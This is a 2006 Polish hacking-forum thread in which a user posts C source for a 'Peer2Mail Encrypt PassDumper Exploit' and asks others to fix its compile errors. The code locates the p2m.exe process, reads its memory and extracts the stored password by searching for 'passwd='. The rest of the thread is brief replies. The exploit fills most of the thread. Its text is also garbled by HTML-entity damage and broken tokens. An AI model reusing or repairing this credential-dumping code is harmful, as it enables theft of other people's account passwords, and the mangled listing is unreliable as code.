![Forum forum strony haking.go.pl Strona Główna](templates/subSilver/images/logo_phpBB.gif) |
forum strony haking.go.pl Forum portalu haking.go.pl
|
Zobacz poprzedni temat :: Zobacz następny temat |
Autor |
Wiadomość |
lancer
Nowy
Dołączył: 01 Sie 2006
Posty: 32
Przeczytał: 0 tematów
Ostrzeżeń: 0/10
|
Wysłany: Pią 14:36, 04 Sie 2006 Temat postu: poprawi mi ktos bledy |
|
|
jest to deszyfrator do hasel w p2m nie jest to moje dzielo ale potrzebny mi jest ten pogram a ze na c sie nie znam to pomocy Kod: |
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tlhelp32.h>
void Credits(void);
DWORD GetPid(char ProcessName[200]);
int PutUserPassword(DWORD pid);
int main(void)
{
char TargetProcess[80];
DWORD pid;
Credits(); //print the credits to the screen
pid=GetPid(";p2m.exe";); //Get the PID of the target process
if(pid==0)
{
printf(";Error: Getting pid from %s";,TargetProcess);
return EXIT_FAILURE;
}
if(PutUserPassword(pid)!=0) //if we can not get the password
return EXIT_FAILURE;
return EXIT_SUCCESS;
}
void Credits() //the function that prints the credits to the screen
{
printf(";Peer2Mail Encrypt PassDumper Exploit v1.0n";);
printf(";Discoveried & Coded By [ATmaCA]n";);
printf(";Copyright Š2002-2005 AtmacaSoft Inc. All Rights Reserved.n";);
printf(";Web: [ www ]
printf(";E-Mail: [link widoczny dla zalogowanych]";);
}
DWORD GetPid(char ProcessName[200]) //gets the process-id from the processname
{
DWORD pid;
HANDLE Snap;
PROCESSENTRY32 proc32;
char CapProcessName[200];
strcpy(CapProcessName,CharLower(ProcessName));
Snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //Create a snapshot of all current running processes
if(Snap==INVALID_HANDLE_VALUE)
{
printf(";Error creating snapshot of current processes.";);
return 0;
}
proc32.dwSize=sizeof(PROCESSENTRY32);
while((Process32Next(Snap,&proc32))==TRUE) //Get the process-id from p2m.exe
{
if(strcmp(CharLower(proc32.szExeFile),CharLower(ProcessName))==0 ||strcmp(CharLower(proc32.szExeFile),CharLower(CapProcessName))= =0)
break;
}
pid=proc32.th32ProcessID;
CloseHandle(Snap);
return pid;
}
int PutUserPassword(DWORD pid)
{
#define BUFSIZE 500000
HANDLE hProc;
DWORD total;
long int base;
char buf[BUFSIZE];
char pass[BUFSIZE];
int i=0,j,k;
//open the process
hProc=OpenProcess(PROCESS_VM_READ,FALSE,pid);
if(hProc==NULL)
{
printf(";Error: opening process.";);
printf(";nPerhaps this account is too limited..";);
return 1;
}
//
// The Base Memory Address To Search;
// The Password May Be Located Before The Address Or Far More From This Address,
// Which Causes The Result Unreliable
//
base=0x01320000;
//try to read the memory of p2m.exe
while(ReadProcessMemory(hProc,(PVOID)base,buf,BUFSIZE,&t otal)!=0)
{
for(i=0;i<BUFSIZE;i++)
{
if(buf=='p'&&buf[i+1]=='a'&a mp;amp;&buf[i+2]=='s'&&buf[i+3 ]=='s'&&buf[i+4]=='w'&am p;&buf[i+5]=='d'&&buf[i+6]==&# 039;=')
{
j=0;
for(k=i+7;k<BUFSIZE;k++)
{
if(buf[k]=='&')//check if we've reached the end of the password
{
pass[j]=NULL;
goto gotit;
}
pass[j]=buf[k];
j++;
}
break;
}
}
base+=BUFSIZE;
}
gotit:
printf(";Password: %s";,pass);
CloseHandle(hProc);
return 0;
} | [/code]
Post został pochwalony 0 razy
|
|
Powrót do góry |
|
![](http://picsrv.fora.pl/subSilver/images/spacer.gif) |
|
![](http://picsrv.fora.pl/subSilver/images/spacer.gif) |
Zobacz poprzedni temat :: Zobacz następny temat |
Autor |
Wiadomość |
skco
Moderator
Dołączył: 18 Lip 2006
Posty: 93
Przeczytał: 0 tematów
Ostrzeżeń: 0/10 Skąd: Opole - stolica polskiej piosenki
|
Wysłany: Pią 14:38, 04 Sie 2006 Temat postu: |
|
|
niestety ja też na C się niezbyt znam
Post został pochwalony 0 razy
|
|
Powrót do góry |
|
![](http://picsrv.fora.pl/subSilver/images/spacer.gif) |
Zobacz poprzedni temat :: Zobacz następny temat |
Autor |
Wiadomość |
skco
Moderator
Dołączył: 18 Lip 2006
Posty: 93
Przeczytał: 0 tematów
Ostrzeżeń: 0/10 Skąd: Opole - stolica polskiej piosenki
|
Wysłany: Pią 14:39, 04 Sie 2006 Temat postu: |
|
|
przynajmniej w tej ^^ kwestii ci nie pomoge
Post został pochwalony 0 razy
|
|
Powrót do góry |
|
![](http://picsrv.fora.pl/subSilver/images/spacer.gif) |
Zobacz poprzedni temat :: Zobacz następny temat |
Autor |
Wiadomość |
Davis_the_Master
Nowy
Dołączył: 20 Lip 2006
Posty: 38
Przeczytał: 0 tematów
Ostrzeżeń: 0/10 Skąd: Berlin
|
Wysłany: Nie 12:34, 06 Sie 2006 Temat postu: |
|
|
Hmm ale gdzie wywala blad jak kompilujesz ??
Bo to moze byc bardzo waznen
Post został pochwalony 0 razy
|
|
Powrót do góry |
|
![](http://picsrv.fora.pl/subSilver/images/spacer.gif) |
Zobacz poprzedni temat :: Zobacz następny temat |
Autor |
Wiadomość |
lancer
Nowy
Dołączył: 01 Sie 2006
Posty: 32
Przeczytał: 0 tematów
Ostrzeżeń: 0/10
|
Wysłany: Nie 15:24, 06 Sie 2006 Temat postu: |
|
|
dobra juz nic nie potrzebuje tego progsa tak a propo to jest deszyfrator do hasel w peer2mail
Post został pochwalony 0 razy
|
|
Powrót do góry |
|
![](http://picsrv.fora.pl/subSilver/images/spacer.gif) |
|
Nie możesz pisać nowych tematów Nie możesz odpowiadać w tematach Nie możesz zmieniać swoich postów Nie możesz usuwać swoich postów Nie możesz głosować w ankietach
|
fora.pl - załóż własne forum dyskusyjne za darmo
Powered by phpBB © 2001, 2005 phpBB Group
|